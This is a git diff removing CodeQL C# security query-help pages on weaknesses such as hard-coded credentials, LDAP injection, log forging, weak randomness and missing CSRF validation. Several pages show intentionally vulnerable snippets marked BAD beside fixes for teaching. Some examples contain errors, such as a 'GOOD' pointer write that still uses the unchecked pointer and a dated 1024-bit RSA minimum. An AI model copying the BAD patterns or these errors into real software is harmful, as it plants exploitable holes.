visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```csharp -using Microsoft.AspNet.Identity; -using System; -using System.Web; -using System.Web.Security; - -public class HardCodedCredentialHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string password = ctx.Request.QueryString["password"]; - - // BAD: Inbound authentication made by comparison to string literal - if (password == "myPa55word") - { - ctx.Response.Redirect("login"); - } - - string hashedPassword = loadPasswordFromSecretConfig(); - - // GOOD: Inbound authentication made by comparing to a hash password from a config - if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - - // BAD: Set the password to a hardcoded string literal - MembershipUser user = loadMembershipUser(); - user.ChangePassword(password, "myNewPa55word"); - } -} - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HeaderCheckingDisabled.md b/docs/language/query-help/csharp/HeaderCheckingDisabled.md deleted file mode 100644 index 97e2ab9e02f..00000000000 --- a/docs/language/query-help/csharp/HeaderCheckingDisabled.md +++ /dev/null @@ -1,22 +0,0 @@ -# Header checking disabled - -``` -ID: cs/web/disabled-header-checking -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/HeaderCheckingDisabled.ql) - -This rule finds places in the code where header checking is disabled. When header checking is enabled, which is the default, the `\r` or `\n` characters found in a response header are encoded to `%0d` and `%0a`. This defeats header-injection attacks by making the injected material part of the same header line. If you disable header checking, you open potential attack vectors against your client code. - - -## Recommendation -Do not disable header checking. - - -## References -* MSDN. [HttpRuntimeSection.EnableHeaderChecking Property](http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableheaderchecking.aspx). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InadequateRSAPadding.md b/docs/language/query-help/csharp/InadequateRSAPadding.md deleted file mode 100644 index d87224670ee..00000000000 --- a/docs/language/query-help/csharp/InadequateRSAPadding.md +++ /dev/null @@ -1,23 +0,0 @@ -# Weak encryption: inadequate RSA padding - -``` -ID: cs/inadequate-rsa-padding -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 external/cwe/cwe-780 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InadequateRSAPadding.ql) - -This query finds uses of RSA encryption without secure padding. Using PKCS#1 v1.5 padding can open up your application to several different attacks resulting in the exposure of the encryption key or the ability to determine plaintext from encrypted messages. - - -## Recommendation -Use the more secure PKCS#1 v2 (OAEP) padding. - - -## References -* Wikipedia. [RSA. Padding Schemes](http://en.wikipedia.org/wiki/RSA_(algorithm)#Padding_schemes). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). -* Common Weakness Enumeration: [CWE-780](https://cwe.mitre.org/data/definitions/780.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureRandomness.md b/docs/language/query-help/csharp/InsecureRandomness.md deleted file mode 100644 index 78e0583e461..00000000000 --- a/docs/language/query-help/csharp/InsecureRandomness.md +++ /dev/null @@ -1,66 +0,0 @@ -# Insecure randomness - -``` -ID: cs/insecure-randomness -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-338 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsecureRandomness.ql) - -Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. - -Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. - - -## Recommendation -Use a cryptographically secure pseudo-random number generator if the output is to be used in a security sensitive context. As a rule of thumb, a value should be considered "security sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. - -For C#, `RNGCryptoServiceProvider` provides a cryptographically secure pseudo-random number generator. `Random` is not cryptographically secure, and should be avoided in security contexts. For contexts which are not security sensitive, `Random` may be preferable as it has a more convenient interface, and is likely to be faster. - -For the specific use-case of generating passwords, consider `System.Web.Security.Membership.GeneratePassword`, which provides a cryptographically secure method of generating random passwords. - - -## Example -The following examples show different ways of generating a password. - -In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. - -In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. - -In the final example, the password is generated using the `Membership.GeneratePassword` library method, which uses a cryptographically secure random number generator to generate a random series of characters. This method should be preferred when generating passwords, if possible, as it avoids potential pitfalls when converting the output of a random number generator (usually an int or a byte) to a series of permitted characters. - - -```csharp -using System.Security.Cryptography; -using System.Web.Security; - -string GeneratePassword() -{ - // BAD: Password is generated using a cryptographically insecure RNG - Random gen = new Random(); - string password = "mypassword" + gen.Next(); - - // GOOD: Password is generated using a cryptographically secure RNG - using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) - { - byte[] randomBytes = new byte[sizeof(int)]; - crypto.GetBytes(randomBytes); - password = "mypassword" + BitConverter.ToInt32(randomBytes); - } - - // GOOD: Password is generated using a cryptographically secure RNG - password = Membership.GeneratePassword(12, 3); - - return password; -} - -``` - -## References -* Wikipedia. [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). -* MSDN. [RandomNumberGenerator](http://msdn.microsoft.com/en-us/library/system.security.cryptography.randomnumbergenerator.aspx). -* MSDN. [Membership.GeneratePassword](https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureSQLConnection.md b/docs/language/query-help/csharp/InsecureSQLConnection.md deleted file mode 100644 index c2db3302f06..00000000000 --- a/docs/language/query-help/csharp/InsecureSQLConnection.md +++ /dev/null @@ -1,50 +0,0 @@ -# Insecure SQL connection - -``` -ID: cs/insecure-sql-connection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-327/InsecureSQLConnection.ql) - -SQL Server connections where the client is not enforcing the encryption in transit are susceptible to multiple attacks, including a man-in-the-middle, that would potentially compromise the user credentials and/or the TDS session. - - -## Recommendation -Ensure that the client code enforces the `Encrypt` option by setting it to `true` in the connection string. - - -## Example -The following example shows a SQL connection string that is not explicitly enabling the `Encrypt` setting to force encryption. - - -```csharp -using System.Data.SqlClient; - -// BAD, Encrypt not specified -string connectString = - "Server=1.2.3.4;Database=Anything;Integrated Security=true;"; -SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); -var conn = new SqlConnection(builder.ConnectionString); -``` -The following example shows a SQL connection string that is explicitly enabling the `Encrypt` setting to force encryption in transit. - - -```csharp -using System.Data.SqlClient; - -string connectString = - "Server=1.2.3.4;Database=Anything;Integrated Security=true;;Encrypt=true;"; -SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); -var conn = new SqlConnection(builder.ConnectionString); -``` - -## References -* Microsoft, SQL Protocols blog: [Selectively using secure connection to SQL Server](https://blogs.msdn.microsoft.com/sql_protocols/2009/10/19/selectively-using-secure-connection-to-sql-server/). -* Microsoft: [SqlConnection.ConnectionString Property](https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.connectionstring(v=vs.110).aspx). -* Microsoft: [Using Connection String Keywords with SQL Server Native Client](https://msdn.microsoft.com/en-us/library/ms130822.aspx). -* Microsoft: [Setting the connection properties](https://msdn.microsoft.com/en-us/library/ms378988(v=sql.110).aspx). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsufficientKeySize.md b/docs/language/query-help/csharp/InsufficientKeySize.md deleted file mode 100644 index cdbfb71535b..00000000000 --- a/docs/language/query-help/csharp/InsufficientKeySize.md +++ /dev/null @@ -1,22 +0,0 @@ -# Weak encryption: Insufficient key size - -``` -ID: cs/insufficient-key-size -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsufficientKeySize.ql) - -This rule finds uses of encryption algorithms with too small a key size. Encryption algorithms are vulnerable to brute force attack when too small a key size is used. - - -## Recommendation -The key should be at least 1024-bit long when using RSA encryption, and 128-bit long when using symmetric encryption. - - -## References -* Wikipedia. [Key size](http://en.wikipedia.org/wiki/Key_size). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LDAPInjection.md b/docs/language/query-help/csharp/LDAPInjection.md deleted file mode 100644 index 007c0a60d40..00000000000 --- a/docs/language/query-help/csharp/LDAPInjection.md +++ /dev/null @@ -1,85 +0,0 @@ -# LDAP query built from user-controlled sources - -``` -ID: cs/ldap-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/LDAPInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. - -The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```csharp -using Microsoft.Security.Application.Encoder -using System; -using System.DirectoryServices; -using System.Web; - -public class LDAPInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["username"]; - string organizationName = ctx.Request.QueryString["organization_name"]; - // BAD: User input used in DN (Distinguished Name) without encoding - string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; - using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) - { - // BAD: User input used in search filter without encoding - DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - - // GOOD: Organization name is encoded before being used in DN - string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); - string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; - using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) - { - // GOOD: User input is encoded before being used in search filter - string safeUserName = Encoder.LdapFilterEncode(userName); - DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - } -} - -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). -* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). -* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md deleted file mode 100644 index 4499c791036..00000000000 --- a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md +++ /dev/null @@ -1,66 +0,0 @@ -# Unvalidated local pointer arithmetic - -``` -ID: cs/unvalidated-local-pointer-arithmetic -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-119 external/cwe/cwe-120 external/cwe/cwe-122 external/cwe/cwe-788 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-119/LocalUnvalidatedArithmetic.ql) - -It is dangerous to use the result of a virtual method call in pointer arithmetic without validation if external users can provide their own implementation of the virtual method. For example, if the analyzed project is distributed as a library or framework, then the end-user could provide a new implementation that returns any value. - - -## Recommendation -Always validate the result of virtual methods calls before performing pointer arithmetic to avoid reading or writing outside the bounds of an allocated buffer. - - -## Example -In this example, we write to a given element of an array, using an instance of the `PossiblyOverridableClass` to determine which element to write to. - -In the first case, the `GetElementNumber` method is called, and the result is used in pointer arithmetic without any validation. If the user can define a subtype of `PossiblyOverridableClass`, they can create an implementation of `GetElementNumber` that returns an invalid element number. This would lead to a write occurring outside the bounds of the `charArray`. - -In the second case, the result of `GetElementNumber` is stored, and confirmed to be within the bounds of the array. Note that it is not sufficient to check that it is smaller than the length. We must also ensure that it's greater than zero, to prevent writes to locations before the buffer as well as afterwards. - - -```csharp -public class PossiblyOverridable -{ - public virtual int GetElementNumber() - { - // By default returns 0, which is safe - return 0; - } -} - -public class PointerArithmetic -{ - public unsafe void WriteToOffset(PossiblyOverridable possiblyOverridable, - char[] charArray) - { - fixed (char* charPointer = charArray) - { - // BAD: Unvalidated use of virtual method call result in pointer arithmetic - char* newCharPointer = charPointer + possiblyOverridable.GetElementNumber(); - *newCharPointer = 'A'; - // GOOD: Check that the number is viable - int number = possiblyOverridable.GetElementNumber(); - if (number >= 0 && number < charArray.Length) - { - char* newCharPointer2 = charPointer + number; - *newCharPointer = 'A'; - } - } - } -} - -``` - -## References -* Microsoft: [Unsafe Code and Pointers](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). -* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LogForging.md b/docs/language/query-help/csharp/LogForging.md deleted file mode 100644 index f33266e5df0..00000000000 --- a/docs/language/query-help/csharp/LogForging.md +++ /dev/null @@ -1,54 +0,0 @@ -# Log entries created from user input - -``` -ID: cs/log-forging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-117 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-117/LogForging.ql) - -If unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries. - -Forgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be include to spoof log entries. - - -## Recommendation -User input should be suitably encoded before it is logged. - -If the log entries are plain text then line breaks should be removed from user input, using `String.Replace` or similar. Care should also be taken that user input is clearly marked in log entries, and that a malicious user cannot cause confusion in other ways. - -For log entries that will be displayed in HTML, user input should be HTML encoded using `HttpServerUtility.HtmlEncode` or similar before being logged, to prevent forgery and other forms of HTML injection. - - -## Example -In the following example, a user name, provided by the user, is logged using a logging framework. In the first case, it is logged without any sanitization. In the second case, `String.Replace` is used to ensure no line endings are present in the user input. - - -```csharp -using Microsoft.Extensions.Logging; -using System; -using System.IO; -using System.Web; - -public class LogForgingHandler : IHttpHandler -{ - private ILogger logger; - - public void ProcessRequest(HttpContext ctx) - { - String username = ctx.Request.QueryString["username"]; - // BAD: User input logged as-is - logger.Warn(username + " log in requested."); - // GOOD: User input logged with new-lines removed - logger.Warn(username.Replace(Environment.NewLine, "") + " log in requested"); - } -} - -``` - -## References -* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection). -* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md deleted file mode 100644 index d2ab4432711..00000000000 --- a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md +++ /dev/null @@ -1,71 +0,0 @@ -# Missing global error handler - -``` -ID: cs/web/missing-global-error-handler -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-12 external/cwe/cwe-248 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-248/MissingASPNETGlobalErrorHandler.ql) - -`Web.config` files that set the `customErrors` mode to `Off` and do not provide an `Application_Error` method in the `global.asax.cs` file rely on the default error pages, which leak information such as stack traces. - - -## Recommendation -Set the `customErrors` to `On` to prevent the default error page from being displayed, or to `RemoteOnly` to only show the default error page when the application is accessed locally. Alternatively, provide an implementation of the `Application_Error` method in the `global.asax.cs` page. - - -## Example -The following example shows a `Web.config` file in which the custom errors mode has been set to `Off`. - - -```none - - - - - ... - - - - -``` -This can be fixed either by specifying a different mode, such as `On`, in the `Web.config` file: - - -```none - - - - - ... - - - - -``` -or by defining an `Application_Error` method in the `global.asax.cs` file: - - -```csharp -using System; -using System.Web; - -namespace WebApp -{ - public class Global : HttpApplication - { - void Application_Error(object sender, EventArgs e) - { - // Handle errors here - } - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-12](https://cwe.mitre.org/data/definitions/12.html). -* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md deleted file mode 100644 index 428cdde0280..00000000000 --- a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md +++ /dev/null @@ -1,54 +0,0 @@ -# Missing cross-site request forgery token validation - -``` -ID: cs/web/missing-token-validation -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-352/MissingAntiForgeryTokenValidation.ql) - -Web applications that use tokens to prevent cross-site request forgery (CSRF) should validate the tokens for all Http POST requests. - -Although login and authentication methods are not vulnerable to traditional CSRF attacks, they still need to be protected with a token or other mitigation. This because an unprotected login page can be used by an attacker to force a login using an account controlled by the attacker. Subsequent requests to the site are then made using this account, without the user being aware that this is the case. This can result in the user associating private information with the attacker-controlled account. - - -## Recommendation -The appropriate attribute should be added to this method to ensure the anti-forgery token is validated when this action method is called. If using the MVC-provided anti-forgery framework this will be the `[ValidateAntiForgeryToken]` attribute. - -Alternatively, you may consider including a global filter that applies token validation to all POST requests. - - -## Example -In the following example an ASP.NET MVC `Controller` is using the `[ValidateAntiForgeryToken]` attribute to mitigate against CSRF attacks. It has been applied correctly to the `UpdateDetails` method. However, this attribute has not been applied to the `Login` method. This should be fixed by adding this attribute. - - -```csharp -using System.Web.Mvc; - -public class HomeController : Controller -{ - // BAD: Anti forgery token has been forgotten - [HttpPost] - public ActionResult Login() - { - return View(); - } - - // GOOD: Anti forgery token is validated - [HttpPost] - [ValidateAntiForgeryToken] - public ActionResult UpdateDetails() - { - return View(); - } -} - -``` - -## References -* Wikipedia: [Cross-Site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery). -* Microsoft Docs: [XSRF/CSRF Prevention in ASP.NET MVC and Web Pages](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/xsrfcsrf-prevention-in-aspnet-mvc-and-web-pages). -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXFrameOptions.md b/docs/language/query-help/csharp/MissingXFrameOptions.md deleted file mode 100644 index a72dbfac629..00000000000 --- a/docs/language/query-help/csharp/MissingXFrameOptions.md +++ /dev/null @@ -1,56 +0,0 @@ -# Missing X-Frame-Options HTTP header - -``` -ID: cs/web/missing-x-frame-options -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-451 external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-451/MissingXFrameOptions.ql) - -Web sites that do not specify the `X-Frame-Options` HTTP header may be vulnerable to UI redress attacks ("clickjacking"). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site. - - -## Recommendation -Set the `X-Frame-Options` HTTP header to `DENY`, to instruct web browsers to block attempts to load the site in a frame. Alternatively, if framing is needed in certain circumstances, specify `SAMEORIGIN` or `ALLOW FROM: ...` to limit the ability to frame the site to pages from the same origin, or from an allowed whitelist of trusted domains. - -For ASP.NET web applications, the header may be specified either in the `Web.config` file, using the `` tag, or within the source code of the application using the `HttpResponse.AddHeader` method. In general, prefer specifying the header in the `Web.config` file to ensure it is added to all requests. If adding it to the source code, ensure that it is added unconditionally to all requests. For example, add the header in the `Application_BeginRequest` method in the `global.asax` file. - - -## Example -The following example shows how to specify the `X-Frame-Options` header within the `Web.config` file for ASP.NET: - - -```none - - - - - - - - - - - - - -``` -This next example shows how to specify the `X-Frame-Options` header within the `global.asax` file for ASP.NET application: - - -```csharp -protected void Application_BeginRequest(object sender, EventArgs e) -{ - HttpContext.Current.Response.AddHeader("X-Frame-Options", "DENY"); -} - -``` - -## References -* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html). -* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) -* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXMLValidation.md b/docs/language/query-help/csharp/MissingXMLValidation.md deleted file mode 100644 index 93ba3bf69c5..00000000000 --- a/docs/language/query-help/csharp/MissingXMLValidation.md +++ /dev/null @@ -1,72 +0,0 @@ -# Missing XML validation - -``` -ID: cs/xml/missing-validation -Kind: path-problem -Severity: recommendation -Precision: high -Tags: security external/cwe/cwe-112 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-112/MissingXMLValidation.ql) - -If unsanitized user input is processed as XML, it should be validated against a known schema. If no validation occurs, or if the validation relies on the schema or DTD specified in the document itself, then the XML document may contain any data in any form, which may invalidate assumptions the program later makes. - - -## Recommendation -All XML provided by a user should be validated against a known schema when it is processed. - -If using `XmlReader.Create`, you should always pass an instance of `XmlReaderSettings`, with the following properties: - -* `ValidationType` must be set to `Schema`. If this property is unset, no validation occurs. If it is set to `DTD`, the document is only validated against the DTD specified in the user-provided document itself - which could be specified as anything by a malicious user. -* `ValidationFlags` must not include `ProcessInlineSchema` or `ProcessSchemaLocation`. These flags allow a user to provide their own inline schema or schema location for validation, allowing a malicious user to bypass the known schema validation. - -## Example -In the following example, text provided by a user is loaded using `XmlReader.Create`. In the first three examples, insufficient validation occurs, because either no validation is specified, or validation is only specified against a DTD provided by the user, or the validation permits a user to provide an inline schema. In the final example, a known schema is provided, and validation is set, using an instance of `XmlReaderSettings`. This ensures that the user input is properly validated against the known schema. - - -```csharp -using System; -using System.IO; -using System.Web; -using System.Xml; -using System.Xml.Schema; - -public class MissingXmlValidationHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; - - // BAD: User provided XML is processed without any validation, - // because there is no settings instance configured. - XmlReader.Create(new StringReader(userProvidedXml)); - - // BAD: User provided XML is processed without any validation, - // because the settings instance specifies DTD as the ValidationType - XmlReaderSettings badSettings = new XmlReaderSettings(); - badSettings.ValidationType = ValidationType.DTD; - XmlReader.Create(new StringReader(userProvidedXml), badSettings); - - // BAD: User provided XML is processed with validation, but the ProcessInlineSchema - // option is specified, so an attacker can provide their own schema to validate - // against. - XmlReaderSettings badInlineSettings = new XmlReaderSettings(); - badInlineSettings.ValidationType = ValidationType.Schema; - badInlineSettings.ValidationFlags |= XmlSchemaValidationFlags.ProcessInlineSchema; - XmlReader.Create(new StringReader(userProvidedXml), badInlineSettings); - - // GOOD: User provided XML is processed with validation - XmlReaderSettings goodSettings = new XmlReaderSettings(); - goodSettings.ValidationType = ValidationType.Schema; - goodSettings.Schemas = new XmlSchemaSet() { { "urn:my-schema", "my.xsd" } }; - XmlReader.Create(new StringReader(userProvidedXml), goodSettings); - } -} - -``` - -## References -* Microsoft: [XML Schema (XSD) Validation with XmlSchemaSet](https://msdn.microsoft.com/en-us/library/3740e0b5(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-112](https://cwe.mitre.org/data/definitions/112.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PasswordInConfigurationFile.md b/docs/language/query-help/csharp/PasswordInConfigurationFile.md deleted file mode 100644 index b3fac74af7a..00000000000 --- a/docs/language/query-help/csharp/PasswordInConfigurationFile.md +++ /dev/null @@ -1,23 +0,0 @@ -# Password in configuration file - -``` -ID: cs/password-in-configuration -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-13 external/cwe/cwe-256 external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql) - -Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. - - -## Recommendation -Passwords stored in configuration files should be encrypted. - - -## References -* Common Weakness Enumeration: [CWE-13](https://cwe.mitre.org/data/definitions/13.html). -* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PersistentCookie.md b/docs/language/query-help/csharp/PersistentCookie.md deleted file mode 100644 index abdc3fdb7e5..00000000000 --- a/docs/language/query-help/csharp/PersistentCookie.md +++ /dev/null @@ -1,21 +0,0 @@ -# Cookie security: persistent cookie - -``` -ID: cs/web/persistent-cookie -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-539 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/PersistentCookie.ql) - -This rule finds cookies that are made to expire in more than 5 minutes from now. Cookies are usually non-persistent, in which case they reside in the browser's memory only. However, by setting an expiration date in the future, cookies can be made persistent and are then written to disk to survive the browser restarts. If a persistent cookie is set to expire in a fairly distant future, it is easier for an attacker to steal its data. - - -## Recommendation -Do not put sensitive information in persistent cookies. - - -## References -* Common Weakness Enumeration: [CWE-539](https://cwe.mitre.org/data/definitions/539.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ReDoS.md b/docs/language/query-help/csharp/ReDoS.md deleted file mode 100644 index 2687d28e5a5..00000000000 --- a/docs/language/query-help/csharp/ReDoS.md +++ /dev/null @@ -1,57 +0,0 @@ -# Denial of Service from comparison 